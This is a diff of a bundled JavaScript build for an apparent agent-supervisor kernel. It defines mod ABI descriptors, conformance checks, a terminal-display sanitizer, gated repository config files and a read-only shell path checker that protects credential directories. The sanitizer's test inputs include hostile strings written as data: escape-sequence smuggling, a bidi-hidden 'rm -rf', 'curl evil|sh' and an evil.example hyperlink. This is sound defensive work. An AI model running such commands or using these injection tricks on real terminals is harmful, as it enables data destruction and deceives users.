+ // closed offer phases/decisions/reach, the mute scope, the install sources and their url/path rule, the restart's
2208
+ // checkpoint id and which KIND_PAYLOADS keys may be absent. The kinds and their payload keys ride the event schema;
2209
+ // offer-spec:v1 is its own published schema.
2210
+ desk: {
2211
+ offer: {
2212
+ phases: [...OFFER_PHASES],
2213
+ decisions: [...OFFER_DECISIONS],
2214
+ reaches: [...OFFER_REACHES],
2215
+ contextSources: [...CONTEXT_SOURCES],
2216
+ perMod: OFFERS_PER_MOD_MAX,
2217
+ limits: OFFER_LIMITS,
2218
+ block: { fence: "```offer", format: "json", keys: [...OFFER_BLOCK_KEYS], maxChars: OFFER_BLOCK_MAX, maxReplyChars: OFFER_TEXT_MAX, questionMax: OFFER_QUESTION_MAX, onePerReply: true }
2219
+ },
2220
+ muteScopes: [...OFFER_MUTE_SCOPES],
2221
+ // 8.0:T-2026-10-21-006: offer.suppressed{why}, and the reasons that name no mod (a deliberate clientApiId move)
2222
+ suppress: { reasons: [...OFFER_SUPPRESS_REASONS], unnamed: [...OFFER_SUPPRESS_UNNAMED] },
2223
+ // 8.0:T-2026-10-21-008 (re-review M-2): offer.retired{why}'s closed reasons
2224
+ retire: { reasons: [...OFFER_RETIRE_REASONS] },
2225
+ install: { sources: [...MOD_INSTALL_SOURCES], urlPattern: MOD_INSTALL_URL_PATTERN.source, limits: MOD_INSTALL_LIMITS, commitPattern: GIT_COMMIT_PATTERN.source },
2226
+ // S0b (mod naming and versioning, inside this same move): the mod id grammar and limits, the reserved publishers,
2227
+ // the derived MCP server/tool name limits, the manifest formats and the published manifest refusal codes
2228
+ modId: {
2229
+ publisherPattern: PUBLISHER_PATTERN.source,
2230
+ namePattern: MOD_NAME_PATTERN.source,
2231
+ idPattern: MOD_ID_PATTERN.source,
2232
+ limits: MOD_ID_LIMITS,
2233
+ reservedPublishers: [...RESERVED_PUBLISHERS],
2234
+ deviceNames: [...WINDOWS_DEVICE_NAMES],
2235
+ founderBrands: FOUNDER_BRANDS,
2236
+ firstPartyDisplayNames: [...FIRST_PARTY_DISPLAY_NAMES],
2237
+ skeleton: "lowercase; strip -; 0>o 1>l i>l 3>e 5>s; rn>m vv>w cl>d",
2238
+ mcpServer: { short: "gm_<publisher>_<name>", max: MCP_SERVER_NAME_MAX, long: "gx_<name[0..13]>_<base32(sha256(id))[0..10]>" },
2239
+ qualifiedToolMax: QUALIFIED_TOOL_NAME_MAX,
2240
+ envPrefix: { thirdParty: "<PUB>__<NAME>__", firstParty: "<NAME>__" },
2241
+ eventPrefix: "modns.<publisher>.<name>.",
2242
+ principalLabel: "mod-<publisher>.<name>",
2243
+ manifestFormat: MANIFEST_FORMAT,
2244
+ refusals: MOD_REFUSAL_ROUTES
2245
+ },
2246
+ restart: { checkpointRefPattern: CHECKPOINT_REF_PATTERN.source },
2247
+ optionalPayloadKeys: KIND_PAYLOAD_OPTIONAL
2248
+ },
2249
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §2–§5; the ONE loops clientApiId move) ──────────────────────────────
2250
+ // The kinds and their payload field names ride the event schema; the two card kinds and decisions ride the card
2251
+ // enums. These are the closed values the loop rows carry, the loop-choice-only decisions and the kill switch form.
2252
+ loops: {
2253
+ verdicts: [...LOOP_VERDICTS],
2254
+ autonomy: [...LOOP_AUTONOMY],
2255
+ scopes: [...LOOP_SCOPES],
2256
+ requestOps: [...LOOP_REQUEST_OPS],
2257
+ pauseReasons: [...LOOP_PAUSE_REASONS],
2258
+ runEndReasons: [...LOOP_RUN_END_REASONS],
2259
+ closureBy: [...LOOP_CLOSURE_BY],
2260
+ landWaitReasons: [...LOOP_LAND_WAIT_REASONS],
2261
+ sessionOrigin: LOOP_SESSION_ORIGIN,
2262
+ choiceOnlyDecisions: [...LOOP_CHOICE_ONLY_DECISIONS],
2263
+ killSwitch: { kind: "request.loop.pause", payload: { all: true } }
2264
+ }
2265
+ });
2266
+ function computeKitId(kit = KIT_V1_DESCRIPTOR) {
2267
+ return `sha256:${hex(sha256(canonicalJson(kit)))}`;
2268
+ }
2269
+ function computeClientApiId(descriptor = CLIENT_API_DESCRIPTOR, kitId = computeKitId()) {
2270
+ return `sha256:${hex(sha256(`${canonicalJson(descriptor)}
2271
+ ${kitId}`))}`;
2272
+ }
2273
+ var KIT_ID = computeKitId();
2274
+ var CLIENT_API_ID = computeClientApiId();
2275
+ var MOD_ABI_V1 = "mod-abi:v1";
2276
+ var MOD_EFFECTS = Object.freeze(["read", "write", "network", "spend"]);
2277
+ var MOD_ABI_LIFECYCLE = deepFreeze([
2278
+ { method: "init", direction: "host->mod", form: "request", params: ["abi", "features"], result: ["abi", "features", "modAbiId"], effect: null },
2279
+ { method: "shutdown", direction: "host->mod", form: "request", params: [], result: [], effect: null },
2280
+ { method: "cancel", direction: "host->mod", form: "notification", params: ["cancelToken"], result: [], effect: null }
2281
+ ]);
2282
+ var MOD_ABI_RPCS = deepFreeze([
2283
+ { method: "health", direction: "host->mod", form: "request", params: [], result: ["ok", "abi"], effect: null },
2284
+ { method: "view.render", direction: "host->mod", form: "request", params: ["viewId", "input", "width", "prefs", "cancelToken", "callId", "relayedFor"], result: ["block"], effect: null },
2285
+ { method: "command.run", direction: "host->mod", form: "request", params: ["commandId", "args", "callId", "relayedFor"], result: ["result"], effect: null },
2286
+ { method: "tool.call", direction: "host->mod", form: "request", params: ["name", "input", "cancelToken", "callId"], result: ["result"], effect: null },
2287
+ { method: "event", direction: "host->mod", form: "notification", params: ["event"], result: [], effect: null },
2288
+ { method: "state.get", direction: "mod->host", form: "request", params: ["key", "callId"], result: ["value"], effect: "read" },
2289
+ { method: "state.set", direction: "mod->host", form: "request", params: ["key", "value", "callId"], result: [], effect: "write" },
2290
+ { method: "kernel.call", direction: "mod->host", form: "request", params: ["verb", "params", "callId"], result: ["result"], effect: "by-verb" }
2291
+ ]);
2292
+ var MOD_NEVER_PROXIED = Object.freeze(["approve"]);
2293
+ var MOD_BLOCK_LIMITS = deepFreeze({ maxBytes: 256 * 1024, maxNodes: 2e3 });
2294
+ var MOD_ABI_DESCRIPTOR = deepFreeze({
2295
+ schemaVersion: MOD_ABI_V1,
2296
+ wire: "jsonrpc-2.0 ndjson over stdio",
2297
+ lifecycle: MOD_ABI_LIFECYCLE,
2298
+ rpcs: MOD_ABI_RPCS,
2299
+ relays: CLIENT_RELAYS,
2300
+ effects: MOD_EFFECTS,
2301
+ neverProxied: MOD_NEVER_PROXIED,
2302
+ blockLimits: MOD_BLOCK_LIMITS,
2303
+ relayedFor: ["principal", "connId"]
2304
+ });
2305
+ function computeModAbiId(descriptor = MOD_ABI_DESCRIPTOR, kitId = computeKitId()) {
2306
+ return `sha256:${hex(sha256(`${canonicalJson(descriptor)}
2307
+ ${kitId}`))}`;
2308
+ }
2309
+ var MOD_ABI_ID = computeModAbiId();
2310
+ var BIDI_GLYPHS = Object.freeze({
2311
+ 8234: "\u27E8LRE\u27E9",
2312
+ 8235: "\u27E8RLE\u27E9",
2313
+ 8236: "\u27E8PDF\u27E9",
2314
+ 8237: "\u27E8LRO\u27E9",
2315
+ 8238: "\u27E8RLO\u27E9",
2316
+ 8294: "\u27E8LRI\u27E9",
2317
+ 8295: "\u27E8RLI\u27E9",
2318
+ 8296: "\u27E8FSI\u27E9",
2319
+ 8297: "\u27E8PDI\u27E9",
2320
+ 8206: "\u27E8LRM\u27E9",
2321
+ 8207: "\u27E8RLM\u27E9",
2322
+ 1564: "\u27E8ALM\u27E9"
2323
+ });
2324
+ var STRING_GLYPHS = Object.freeze({
2325
+ 93: "\u27E8OSC\u27E9",
2326
+ 157: "\u27E8OSC\u27E9",
2327
+ 80: "\u27E8DCS\u27E9",
2328
+ 144: "\u27E8DCS\u27E9",
2329
+ 88: "\u27E8SOS\u27E9",
2330
+ 152: "\u27E8SOS\u27E9",
2331
+ 94: "\u27E8PM\u27E9",
2332
+ 158: "\u27E8PM\u27E9",
2333
+ 95: "\u27E8APC\u27E9",
2334
+ 159: "\u27E8APC\u27E9"
2335
+ });
2336
+ var HIDDEN_STRIP_RANGES = Object.freeze([
2337
+ [173, 173],
2338
+ [847, 847],
2339
+ [4447, 4448],
2340
+ [6158, 6158],
2341
+ [8203, 8205],
2342
+ [8288, 8292],
2343
+ [12644, 12644],
2344
+ [65279, 65279],
2345
+ [65440, 65440],
2346
+ [917504, 917631],
2347
+ [917760, 917999]
2348
+ ]);
2349
+ var TERMINATED = new RegExp(
2350
+ [
2351
+ "(\\x1B[\\]PX^_]|[\\x9D\\x90\\x98\\x9E\\x9F])([^\\x07\\x1B\\x9C\\x90\\x98\\x9D\\x9E\\x9F]*)(?:\\x07|\\x1B\\\\|\\x9C)",
2352
+ // string sequences: payload shown
2353
+ "(?:\\x1B\\[|\\x9B)[\\x30-\\x3F]*[\\x20-\\x2F]*[\\x40-\\x7E]",
2354
+ // CSI
2355
+ "\\x1B[\\x20-\\x2F]*[\\x30-\\x4F\\x51-\\x57\\x59\\x5A\\x5C\\x60-\\x7E]"
2356
+ // other ESC (never a string/CSI introducer)
2357
+ ].join("|"),
2358
+ "g"
2359
+ );
2360
+ var CONFORMANCE_CHECKS = Object.freeze([
2361
+ { id: "hello.negotiate", must: "offers gnomon-rpc:v1; the kernel chooses it and reports clientApiId and kitId", spec: "\xA74.9", status: "run" },
2362
+ { id: "hello.unsupported", must: "offering no API the kernel speaks is refused UNSUPPORTED{data.offered}", spec: "\xA74.9", status: "run" },
2363
+ { id: "hello.server-sig", must: "verifies serverSig against the registered kernel key before auth", spec: "\xA74.9", status: "run" },
2364
+ { id: "hello.server-sig-mismatch", must: "a hello signed by any other key, or a genuine hello replayed from another connection (its clientNonce is not this one's), is refused locally and NO auth is sent", spec: "\xA74.9", status: "run" },
2365
+ { id: "auth.device", must: "authenticates with a device key (gnomon:auth:v1 over the negotiated hello)", spec: "\xA74.9", status: "run" },
2366
+ { id: "auth.device-refused", must: "an unregistered device key yields ONE AUTH refusal:v1 (-32001), surfaced as a refusal; the client keeps no connection", spec: "\xA74.9", status: "run" },
2367
+ { id: "auth.read-token", must: "authenticates a read token by proof of possession; write verbs are refused FORBIDDEN", spec: "\xA74.9, \xA75", status: "run" },
2368
+ { id: "auth.before-auth", must: "a known verb before auth yields AUTH{unauthenticated} and the connection closes", spec: "\xA74.9", status: "run" },
2369
+ { id: "auth.launch-token", must: "launch token \u2192 GUI token over the WebSocket transport", spec: "\xA74.9, \xA711.2", status: "slice-2" },
2370
+ { id: "auth.reconnect", must: "Reconnect: {reconnect:true} raises presence and re-pins the kernel key", spec: "\xA74.9, D54", status: "slice-2" },
2371
+ { id: "refusal.unknown-verb", must: "an unknown method yields UNKNOWN_VERB (-32601) carrying a valid refusal:v1", spec: "\xA74.6, \xA74.9", status: "run" },
2372
+ { id: "refusal.bad-request", must: "malformed params yield BAD_REQUEST (-32600) carrying a valid refusal:v1", spec: "\xA74.6, \xA74.9", status: "run" },
2373
+ { id: "subscribe.since", must: "log.read{follow, since} delivers the backlog then live rows, in seq order, without gaps", spec: "\xA74.9", status: "run" },
2374
+ { id: "subscribe.dropped", must: "survives socket.subscription.dropped by re-subscribing from since", spec: "\xA74.9", status: "slice-2" },
2375
+ { id: "display.sanitize", must: "every string passes the \xA74.5 sanitizer incl. the Unicode rules (vectors)", spec: "\xA74.5", status: "run" },
2376
+ { id: "display.event-rows", must: "an unknown modns.* kind renders as an opaque {kind, principal, at} row, never dropped (vectors)", spec: "\xA74.9", status: "run" },
2377
+ { id: "display.denominator", must: "every number renders as {n, of}; a bare count is refused (vectors)", spec: "\xA79.1", status: "run" },
2378
+ { id: "cards.kernel-signed", must: "renders a card only from a kernel-signed approval.request; a forged one never appears", spec: "\xA712.8 G-CLI-03", status: "slice-2" },
2379
+ { id: "cards.flags-badge", must: "shows a card's flags badge", spec: "\xA74.5", status: "slice-2" },
2380
+ { id: "cards.gesture", must: "sends approve only on a user gesture", spec: "\xA712.8", status: "slice-2" },
2381
+ { id: "kit.image-canvas", must: "kit.Image renders its alt; kit.Canvas as a surface or the mark list", spec: "\xA74.5", status: "slice-2" },
2382
+ { id: "conformance.declared", must: "a declared conformance tuple appears in status.clients[] labelled declared", spec: "\xA712.8", status: "run" }
2383
+ ]);
2384
+ var DISPLAY_SANITIZE_INPUTS = Object.freeze([
2385
+ "hello world",
2386
+ "tab and\nnewline",
2387
+ "\x1B]52;c;ZWNobyBwd25lZA==\x07safe",
2388
+ "\x1B]8;;https://evil.example\x1B\\click\x1B]8;;\x1B\\",
2389
+ "\x1B[31mred\x1B[0m",
2390
+ "\x9B2Jclear",
2391
+ "\x1BPq#0;2;0;0;0\x1B\\after",
2392
+ "before\x1B_never ends",
2393
+ "invoice\u202Etxt.exe",
2394
+ "a\u2066b\u2069c",
2395
+ "ap\u200Bprove",
2396
+ "\uFEFFx\u2060y",
2397
+ "ok\u{E0041}\u{E0042}",
2398
+ "a\x07b\bc",
2399
+ "x\x7Fy\x85z",
2400
+ "esc\x1Bcape",
2401
+ "\\u{202E} stays literal",
2402
+ "\u627F\u8A8D \u2705 \u{1F44D}\u{1F3FD}",
2403
+ "rm -rf\u202E\u200B /",
2404
+ // Aegis round 2 F1: removal flags; an unterminated sequence keeps its tail visible
2405
+ "echo ok\x1B_; curl evil|sh",
2406
+ "title\x1B]0;never terminated",
2407
+ "csi\x1B[31",
2408
+ "dcs\x1BPdata",
2409
+ "a\rb",
2410
+ "a\r\nb",
2411
+ // F7: mixed 7-bit/8-bit terminators; lone surrogates
2412
+ "\x1B]0;t\x9CX",
2413
+ "\x9D0;t\x1B\\X",
2414
+ "\x9D0;t\x07X",
2415
+ "\x90q\x9CY",
2416
+ "bad\uD800surrogate",
2417
+ "x\uDC00y",
2418
+ // F3: variation selectors, fillers, line/paragraph separators
2419
+ "ok\u2764\uFE0F",
2420
+ "\uFE0Fstart",
2421
+ "a\uFE0F\uFE0F",
2422
+ "x \uFE0F",
2423
+ "\u{E0100}ivs",
2424
+ "\u034F\u115F\u1160\u3164\uFFA0x",
2425
+ "line\u2028sep\u2029par",
2426
+ // Aegis round 3 R2-1: VS runs decided on the output; a mark is no VS base
2427
+ "a\uFE00\u200B\uFE01\u200B\uFE02",
2428
+ "e\u0301\uFE0F",
2429
+ // T-2026-10-18-013: only VS15/VS16 are silent; FE00–FE0D are kept but flagged
2430
+ "text\uFE0E",
2431
+ "a\uFE03b",
2432
+ // Aegis M2 (slice 2 round 2): a string sequence's payload stays visible
2433
+ "reason: run tests\x9D; also exfil to x.example\x9C",
2434
+ // R2-2: an 8-bit introducer inside a string sequence ends the outer candidate
2435
+ "\x1B]0;a\x9Db\x07c"
2436
+ ]);
2437
+ var DISPLAY_ROW_INPUTS = Object.freeze([
2438
+ { kind: "socket.hello", principal: "p:a1b2c3d4/kernel", at: "2026-10-17T00:00:00.000Z" },
2439
+ { kind: "credit.outcome", principal: "p:a1b2c3d4/paradigm", at: "2026-10-17T00:00:01.000Z" },
2440
+ { kind: "modns.diff-lens.toggled", principal: "p:a1b2c3d4/mod-diff-lens", at: "2026-10-17T00:00:02.000Z" },
2441
+ { kind: "modns.diff-lens.note", principal: "p:a1b2c3d4/mod-\u202Ediff", at: "2026-10-17T00:00:03.000Z" },
2442
+ { kind: "futurens.thing", principal: "p:a1b2c3d4/ascend", at: "2026-10-17T00:00:04.000Z" }
2443
+ ]);
2444
+ var DISPLAY_DENOMINATOR_INPUTS = Object.freeze([
2445
+ { n: 3, of: 7 },
2446
+ { n: 0, of: 0 },
2447
+ 5,
2448
+ { n: 2 },
2449
+ null,
2450
+ { n: -1, of: 2 },
2451
+ { n: 1.5, of: 2 },
2452
+ { n: 2 ** 53, of: 1 },
2453
+ { n: "3", of: 7 }
2454
+ ]);
2455
+ var SETUP_API = "gnomon-setup:v1";
2456
+ var SETUP_TOKEN_BYTES = 32;
2457
+ var SETUP_TOKEN_TTL_MS = 6e4;
2458
+ var SETUP_METHODS = deepFreeze(["hello", "auth", "setup.preflight", "setup.name", "setup.begin", "setup.purge", "setup.complete", "setup.finish"]);
2459
+ var SETUP_EVENTS = deepFreeze(["setup.state", "setup.presence"]);
2460
+ var SETUP_PARAMS = deepFreeze({
2461
+ auth: ["setupToken"],
2462
+ "setup.preflight": [],
2463
+ "setup.name": ["name"],
2464
+ "setup.begin": [],
2465
+ "setup.purge": ["gen"],
2466
+ "setup.complete": [],
2467
+ "setup.finish": []
2468
+ });
2469
+ var SETUP_API_DESCRIPTOR = deepFreeze({
2470
+ api: SETUP_API,
2471
+ methods: [...SETUP_METHODS],
2472
+ params: SETUP_PARAMS,
2473
+ events: { "setup.state": ["phase", "step"], "setup.presence": ["n", "of", "purpose", "digest12", "key?", "gen?"] },
2474
+ tokenBytes: SETUP_TOKEN_BYTES,
2475
+ tokenTtlMs: SETUP_TOKEN_TTL_MS
2476
+ });
2477
+ var SETUP_API_ID = `sha256:${hex(sha256(canonicalJson(SETUP_API_DESCRIPTOR)))}`;
2478
+
2479
+ // src/kernel/manifest/layers.ts
2480
+ var GATE_DIRS = /* @__PURE__ */ new Set([
2481
+ ".claude",
2482
+ ".gnomon",
2483
+ ".git",
2484
+ ".github",
2485
+ ".gitlab",
2486
+ ".circleci",
2487
+ ".husky",
2488
+ ".buildkite",
2489
+ // Aegis H2: editor/devcontainer/toolchain dirs that run code or steer an agent (tasks.json, launch configs, plugins, hooks)
2490
+ ".vscode",
2491
+ ".idea",
2492
+ ".cursor",
2493
+ ".devcontainer",
2494
+ ".yarn",
2495
+ ".cargo",
2496
+ ".paradigm",
2497
+ ".lefthook"
2498
+ ]);
2499
+ var GATE_FILES = /* @__PURE__ */ new Set([
2500
+ // loops step 11 (Aegis L8): portal.yaml is the repo's gate and route authority (Paradigm portal protocol)
2501
+ "portal.yaml",
2502
+ ".gitattributes",
2503
+ ".gitmodules",
2504
+ ".gitlab-ci.yml",
2505
+ ".travis.yml",
2506
+ "azure-pipelines.yml",
2507
+ "jenkinsfile",
2508
+ "bitbucket-pipelines.yml",
2509
+ "package.json",
2510
+ "package-lock.json",
2511
+ "npm-shrinkwrap.json",
2512
+ "yarn.lock",
2513
+ "pnpm-lock.yaml",
2514
+ "pnpm-workspace.yaml",
2515
+ "bun.lock",
2516
+ "bun.lockb",
2517
+ ".npmrc",
2518
+ ".yarnrc",
2519
+ ".yarnrc.yml",
2520
+ ".mcp.json",
2521
+ "pytest.ini",
2522
+ "tox.ini",
2523
+ "conftest.py",
2524
+ "noxfile.py",
2525
+ // Aegis H2: hook runners, build/task runners, package build scripts, env loaders and other agents' steering files
2526
+ ".pnpmfile.cjs",
2527
+ ".pre-commit-config.yaml",
2528
+ "lefthook.yml",
2529
+ "lefthook.yaml",
2530
+ "makefile",
2531
+ "gnumakefile",
2532
+ "justfile",
2533
+ "taskfile.yml",
2534
+ "taskfile.yaml",
2535
+ "setup.py",
2536
+ "setup.cfg",
2537
+ "pyproject.toml",
2538
+ "build.rs",
2539
+ "cargo.toml",
2540
+ "mise.toml",
2541
+ ".mise.toml",
2542
+ ".tool-versions",
2543
+ ".envrc",
2544
+ "agents.md",
2545
+ "gemini.md",
2546
+ ".cursorrules",
2547
+ ".windsurfrules",
2548
+ // TD-2026-10-20-294 re-check (Aegis C2): repo-level files that change what a tool RUNS or SENDS when a session (or a
2549
+ // command it was allowed to run) points that tool at the repo — git (a planted HOME's .gitconfig: core.fsmonitor,
2550
+ // credential helpers), curl/wget/pip/conda config, interpreter and toolchain pins that pick (or download) the binary,
2551
+ // ruby/bun/deno/go/gradle/maven build entry points, babel/swc plugin configs, and shell rc files
2552
+ ".gitconfig",
2553
+ ".git-credentials",
2554
+ ".netrc",
2555
+ "_netrc",
2556
+ ".curlrc",
2557
+ ".wgetrc",
2558
+ ".pypirc",
2559
+ "pip.conf",
2560
+ ".condarc",
2561
+ ".python-version",
2562
+ ".nvmrc",
2563
+ ".node-version",
2564
+ ".ruby-version",
2565
+ "rust-toolchain",
2566
+ "rust-toolchain.toml",
2567
+ "go.mod",
2568
+ "go.work",
2569
+ "gemfile",
2570
+ "gemfile.lock",
2571
+ "rakefile",
2572
+ ".irbrc",
2573
+ ".gemrc",
2574
+ "bunfig.toml",
2575
+ "deno.json",
2576
+ "deno.jsonc",
2577
+ ".babelrc",
2578
+ ".swcrc",
2579
+ "build.gradle",
2580
+ "build.gradle.kts",
2581
+ "settings.gradle",
2582
+ "settings.gradle.kts",
2583
+ "gradlew",
2584
+ "pom.xml",
2585
+ ".bashrc",
2586
+ ".bash_profile",
2587
+ ".profile",
2588
+ ".zshrc",
2589
+ ".zshenv",
2590
+ ".zprofile",
2591
+ ".inputrc"
2592
+ ]);
2593
+ var GATE_ENV_FILE = /^\.env(\..+)?$/;
2594
+ var GATE_TEST_CONFIG = /^(vitest|vite|jest|playwright|cypress|karma|mocha|ava|wdio|nightwatch)\.(config|workspace)(\.[a-z0-9]+)+$|^\.mocharc(\.[a-z0-9]+)*$|^babel\.config(\.[a-z0-9]+)+$/;
2595
+ var GATE_CODE_CONFIG = /^(eslint\.config\..+|\.eslintrc.*|prettier\.config\..+|\.prettierrc.*|\.lintstagedrc.*|lint-staged\.config\..+|\.lefthook.*)$/;
2596
+ var GATE_MEMORY_NAME = /^claude[^/\\]*\.md$/;
2597
+ var NON_ASCII = /[^\x00-\x7f]/;
2598
+ function gateClassPathRule(relPath) {
2599
+ const raw = relPath.split(/[\\/]+/).filter((s) => s !== "" && s !== ".");
2600
+ if (raw.some((s) => NON_ASCII.test(s))) return "non-ascii";
2601
+ if (raw.some((s) => s.includes(":") || /~\d/.test(s))) return "win-alias";
2602
+ const segs = raw.map((s) => s.replace(/[. ]+$/, "").toLowerCase()).map((s, i) => s === "" ? raw[i] : s);
2603
+ if (segs.length === 0 || segs.includes("..")) return "outside-root";
2604
+ for (const s of segs.slice(0, -1)) if (GATE_DIRS.has(s)) return `dir:${s}`;
2605
+ const base = segs[segs.length - 1];
2606
+ if (GATE_DIRS.has(base)) return `dir:${base}`;
2607
+ if (GATE_MEMORY_NAME.test(base)) return "memory-file";
2608
+ if (GATE_FILES.has(base)) return `file:${base}`;
2609
+ if (GATE_ENV_FILE.test(base)) return "env-file";
2610
+ if (GATE_TEST_CONFIG.test(base)) return "test-config";
2611
+ if (GATE_CODE_CONFIG.test(base)) return "code-config";
2612
+ return null;
2613
+ }
2614
+ function isClosureName(name) {
2615
+ if (/^[tj]sconfig([.-][^/\\]*)?\.json$/i.test(name)) return true;
2616
+ const rule = gateClassPathRule(name);
2617
+ if (rule === null) return false;
2618
+ return rule.startsWith("file:") || rule === "test-config" || rule === "code-config" || rule === "env-file";
2619
+ }
2620
+ function isConfigNamedEnvFile(name) {
2621
+ return isClosureName(name) && gateClassPathRule(name) !== "env-file";
2622
+ }
2623
+
2624
+ // src/kernel/supervisor/shell-readonly.ts
2625
+ import * as fs from "node:fs";
2626
+ import * as path from "node:path";
2627
+ var MAX_LEN = 64 * 1024;
2628
+ var Refuse = class extends Error {
2629
+ };
2630
+ var no = (why) => {
2631
+ throw new Refuse(why);
2632
+ };
2633
+ var PROTECTED_HOME_PATHS = Object.freeze([".ssh", ".aws", ".config/gh", ".config/gcloud", ".azure", ".kube", ".docker", ".gnupg", ".netrc", ".npmrc", ".git-credentials", ".pypirc", "Library/Keychains", ".gnomon"]);
2634
+ var PROTECTED_ABS_PATHS = Object.freeze(["/Library/Keychains"]);
2635
+ var SYSTEM_READ_ROOTS = Object.freeze(["/usr", "/opt/homebrew", "/etc", "/tmp", "/private/tmp", "/private/etc"]);
2636
+ var realOr = (p) => {
2637
+ try {
2638
+ return fs.realpathSync.native(p);
2639
+ } catch {
2640
+ return null;
2641
+ }
2642
+ };
2643
+ function realDeep(p, env) {
2644
+ if (!env.native) return null;
2645
+ const { pp } = env;
2646
+ let cur = p;
2647
+ const rest = [];
2648
+ for (let i = 0; i < 4096; i++) {
2649
+ const r = realOr(cur);
2650
+ if (r !== null) {
2651
+ return rest.length ? pp.join(r, ...rest.reverse()) : r;
2652
+ }
2653
+ const parent = pp.dirname(cur);
2654
+ if (parent === cur) return null;
2655
+ rest.push(pp.basename(cur));
2656
+ cur = parent;
2657
+ }
2658
+ return null;
2659
+ }
2660
+ function rootForms(env) {
2661
+ const out = [];
2662
+ for (const r of env.ctx.roots) {
2663
+ out.push(env.pp.resolve(r));
2664
+ const real = realDeep(r, env);
2665
+ if (real !== null) out.push(real);
2666
+ }
2667
+ return out;
2668
+ }
2669
+ function within(p, root, pp, orEqual) {
2670
+ if (p === root) return orEqual;
2671
+ const r = root.endsWith(pp.sep) ? root : root + pp.sep;
2672
+ return p.startsWith(r);
2673
+ }
2674
+ function checkPath(t, env) {
2675
+ const { pp, fold } = env;
2676
+ if (t === "" || t === "-") return;
2677
+ if (pp === path.win32 && /^[\\/]{2}/.test(t)) no("device path");
2678
+ let raw;
2679
+ if (pp.isAbsolute(t)) raw = t;
2680
+ else if (env.cwd === null) return no("a relative path with an unknown cwd");
2681
+ else raw = env.cwd.endsWith(pp.sep) ? env.cwd + t : env.cwd + pp.sep + t;
2682
+ const real = realDeep(raw, env);
2683
+ for (const f of [pp.resolve(raw), ...real !== null ? [real] : []]) {
2684
+ const ff = fold(f);
2685
+ if (pp === path.posix && (within(ff, "/dev", pp, true) || within(ff, "/proc", pp, true))) no("device path");
2686
+ for (const p of env.prot) {
2687
+ const fp = fold(p);
2688
+ if (within(ff, fp, pp, true) || within(fp, ff, pp, false)) no("protected path");
2689
+ }
2690
+ if (!env.allow.some((a) => within(ff, fold(a), pp, true))) no("outside the readable roots");
2691
+ }
2692
+ }
2693
+ var needCwd = (env, name) => {
2694
+ if (env.cwd === null) no(`${name}: the cwd is unknown`);
2695
+ };
2696
+ var isFlag = (a) => a.lit !== null && a.lit.startsWith("-") && a.lit !== "-";
2697
+ function pathArgs(args, env, name) {
2698
+ for (const a of args) {
2699
+ if (a.proc) continue;
2700
+ if (a.lit === null) no(`${name}: a substitution in a path argument`);
2701
+ if (isFlag(a)) {
2702
+ const s = a.lit;
2703
+ const eq = s.indexOf("=");
2704
+ if (eq > 0) checkPath(s.slice(eq + 1), env);
2705
+ else {
2706
+ const slash = s.search(/[\\/]/);
2707
+ if (slash > 0) checkPath(s.slice(slash), env);
2708
+ }
2709
+ continue;
2710
+ }
2711
+ checkPath(a.lit, env);
2712
+ }
2713
+ }
2714
+ var staticOnly = (args, name) => {
2715
+ if (args.some((a) => a.lit === null)) no(`${name}: dynamic argument`);
2716
+ };
2717
+ function reader(denyShort = "", denyLong = [], implicitCwd = false, fileShort = "") {
2718
+ return (args, env, name) => {
2719
+ for (const a of args) {
2720
+ if (!isFlag(a) || a.lit === "--") continue;
2721
+ const s = a.lit;
2722
+ if (s.startsWith("--")) {
2723
+ const k = s.split("=")[0];
2724
+ if (denyLong.some((d) => d.startsWith(k))) no(`${name}: flag ${k}`);
2725
+ continue;
2726
+ }
2727
+ for (const ch of s.slice(1)) {
2728
+ if (fileShort.includes(ch)) break;
2729
+ if (denyShort.includes(ch)) no(`${name}: flag -${ch}`);
2730
+ }
2731
+ }
2732
+ attachedFiles(args, fileShort, env);
2733
+ if (implicitCwd && !args.some((a) => !isFlag(a))) checkPath(".", env);
2734
+ pathArgs(args, env, name);
2735
+ };
2736
+ }
2737
+ function attachedFiles(args, letters, env) {
2738
+ if (letters === "") return;
2739
+ for (const a of args) {
2740
+ if (!isFlag(a) || a.lit.startsWith("--")) continue;
2741
+ const s = a.lit;
2742
+ const i = [...letters].map((l) => s.indexOf(l, 1)).filter((x) => x > 0).sort((x, y) => x - y)[0];
2743
+ if (i !== void 0 && i < s.length - 1) checkPath(s.slice(i + 1), env);
2744
+ }
2745
+ }
2746
+ function flags(args, name, o) {
2747
+ const operands = [];
2748
+ let endOpts = false;
2749
+ for (let i = 0; i < args.length; i++) {
2750
+ const a = args[i];
2751
+ const s = a.lit;
2752
+ if (endOpts || !isFlag(a)) {
2753
+ operands.push(a);
2754
+ continue;
2755
+ }
2756
+ if (s === "--") {
2757
+ endOpts = true;
2758
+ continue;
2759
+ }
2760
+ if (s.startsWith("--")) {
2761
+ const [k, v] = s.includes("=") ? [s.slice(0, s.indexOf("=")), true] : [s, false];
2762
+ if (o.long?.includes(k) && !v) continue;
2763
+ if (o.longValue?.includes(k)) {
2764
+ if (!v) i++;
2765
+ continue;
2766
+ }
2767
+ no(`${name}: flag ${k}`);
2768
+ }
2769
+ for (let j = 1; j < s.length; j++) {
2770
+ const ch = s[j];
2771
+ if (o.shortValue?.includes(ch)) {
2772
+ if (j === s.length - 1) i++;
2773
+ break;
2774
+ }
2775
+ if (!o.short.includes(ch)) no(`${name}: flag -${ch}`);
2776
+ }
2777
+ }
2778
+ return operands;
2779
+ }
2780
+ var ECHO_FLAGS = /* @__PURE__ */ new Set(["-n", "-e", "-E", "-ne", "-en", "-nE", "-En"]);
2781
+ var echoRule = (args) => {
2782
+ for (const a of args) if (a.lit !== null && /^-[A-Za-z]+$/.test(a.lit) && !ECHO_FLAGS.has(a.lit)) no(`echo: flag ${a.lit}`);
2783
+ };
2784
+ var printfRule = (args) => {
2785
+ const f = args[0];
2786
+ if (!f) no("printf: a format");
2787
+ if (f.lit === null) no("printf: the format is not literal");
2788
+ if (f.lit.startsWith("-")) no("printf: a flag");
2789
+ };
2790
+ var textRule = (o, maxOperands = Infinity) => (args, _env, name) => {
2791
+ staticOnly(args, name);
2792
+ if (flags(args, name, o).length > maxOperands) no(`${name}: an operand`);
2793
+ };
2794
+ var TEST_FILE_UNARY = /* @__PURE__ */ new Set(["-e", "-f", "-d", "-s", "-r", "-w", "-x", "-L", "-h", "-b", "-c", "-p", "-S", "-O", "-G", "-N", "-k", "-u", "-g"]);
2795
